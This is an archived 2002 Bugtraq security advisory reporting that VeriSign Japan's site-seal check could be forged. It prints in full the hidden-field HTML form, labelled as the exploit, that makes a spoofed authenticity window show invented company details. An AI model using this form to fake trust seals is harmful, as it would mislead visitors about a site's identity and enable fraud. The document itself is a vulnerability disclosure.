

## Falsifying a VeriSign Seal (Japan)

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-07/0022.html>

---

**From:** Noam Rathaus ([noamr@beyondsecurity.com](mailto:noamr@beyondsecurity.com))

**Date:** 07/02/02

From: "Noam Rathaus" <[noamr@beyondsecurity.com](mailto:noamr@beyondsecurity.com)>

To: "BugTraq" <[bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com)>

Date: Tue, 2 Jul 2002 10:32:47 +0200

-----  
**SUMMARY**

Vagabond has reported a problem in the Japanese version of VeriSign provided seals. The problem allows a malicious site owner to create an authenticity seal (false one) for his site without it being actually issued by VeriSign.

**DETAILS**

VeriSign's Seal displays parameters when it transfers them from the form to CGI script. At this point the company name and other information used in authentication, which is hidden in the form but displayed when the authentication process is complete, is transferred. Thus, the authentication window used by VeriSign's seal can be spoofed by preparing a page set with the hidden elements containing the information the attacker wants to spoof.

For your reference, the HTML source code for the form portion is appended at the end of this message.

Which VeriSign's are vulnerable?

We cannot confirm the problem in VeriSign's other than VeriSign Japan. It also should be noted that VeriSign.com (US version) seems to use a different method of showing authenticity seals.

Exploit:

Appended below is the source code for the VeriSign form. Virtually all of the hidden information can be rewritten. All of the content rewritten onto VeriSign Japan's authentication window is clearly displayed.

```
<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">
```

For example, "USO-DAPYON" in value = "USO-DAPYON" in the above string can be displayed by rewriting it to a different character string.

```
<FORM NAME=form1 METHOD=POST  
ACTION="https://www.verisign.co.jp/cgi-bin/Seal.exe"><INPUT type=hidden
```

## SecurityFocus Bugtraq: Falsifying a VeriSign Seal (Japan)

```
name="VHTML_FILE" value="../htmldocs/query/authCertDisplay.htm">
<INPUT type=hidden name="STATUS" value="0">
<INPUT type=hidden name="qmRowOffset" value="">
<INPUT type=hidden name="qmStartRecNumber" value="">
<INPUT type=hidden name="qmRecNumber" value="">
<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">
<INPUT type=hidden name="form_file" value="..fdf/authCertByIssuer.fdf">
<INPUT type=hidden name="PIPE" value="QUERY_MANAGER">
<INPUT type=hidden name="VS_VALID_END" value="99-MAR-99">
<INPUT type=hidden name="qmCompileAlways" value="yes">
<INPUT type=hidden name="unstructured_addr" value="">
<INPUT type=hidden name="CERT_MSG" value="">
<INPUT type=hidden name="VS_CERT_SERIAL" value="">
<INPUT type=hidden name="VS_CERT_FLAGS" value="0">
<INPUT type=hidden name="VS_STATUS" value="Valid">
<INPUT type=hidden name="url_encode" value="no">
<INPUT type=hidden name="issuerSerial2" value="">
<INPUT type=hidden name="SDATE" value="">
<INPUT type=hidden name="ip_address" value="172.16.185.00">
<INPUT type=hidden name="VS_SUBJECT_READABLE" value="Country = JP<BR>State =
Tokyo<BR>Locality = USO <BR>Organizational Unit = Terms of use at
www.verisign.co.jp/RPA (c)00<BR>Organizational Unit = Authenticated by
VeriSign Japan K.K.<BR>Organizational Unit = Member, VeriSign Trust
Network<BR>Organization = USO Inc.<BR>Organizational Unit = Web System
Div.<BR>Common Name = www.USO-DAPYON.co.jp">
<INPUT type=hidden name="qmStartRecNumber" value="1">
<INPUT type=hidden name="application" value="Mozilla/4.78 [ja] (Windows NT
5.0; U)">
<INPUT type=hidden name="qmRecNumber" value="2">
<INPUT type=hidden name="VS_PRODUCT_NAME" value="Digital ID Class 3 -
Affiliate Global Server AuthCenter">
<INPUT type=hidden name="remote_host"
value="https://www.verisign.co.jp/cgi-bin/sitesead.exe">
<INPUT type=hidden name="common_name" value="">
<INPUT type=hidden name="error_status" value="4000">
<INPUT type=hidden name="VS_VALID_START" value="99-MAR-99">
<INPUT type=hidden name="card_expire" value="">
<INPUT type=hidden name="Template" value="authCertByIssuer">
<INPUT type=hidden name="issuerSerial" value="">
<INPUT type=hidden name="ENDDATE" value="">
<INPUT type=hidden name="server_URL"
value="https://servicecenter.verisign.com">
<INPUT type=hidden name="VS_COMMON_NAME" value="WWW.USO-DAPYON.CO.JP">
<INPUT type=hidden name="END" value="YES">
<INPUT SRC="https://www.verisign.co.jp/images/sitesead/VeriSignSeal.gif"
TYPE="image" border=0></FORM>
```

### ADDITIONAL INFORMATION

The information has been provided by <<http://www.vagabond.co.jp>> Vagabond.

-----  
Thanks

Noam Rathaus

CTO

Beyond Security Ltd.

<http://www.BeyondSecurity.com>

<http://www.SecuriTeam.com>

---

- ***Previous message:*** [Roman Drahtmueller: "SuSE Security Announcement: openssh \(SuSE-SA:2002:024\)"](#)
- ***Messages sorted by:*** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)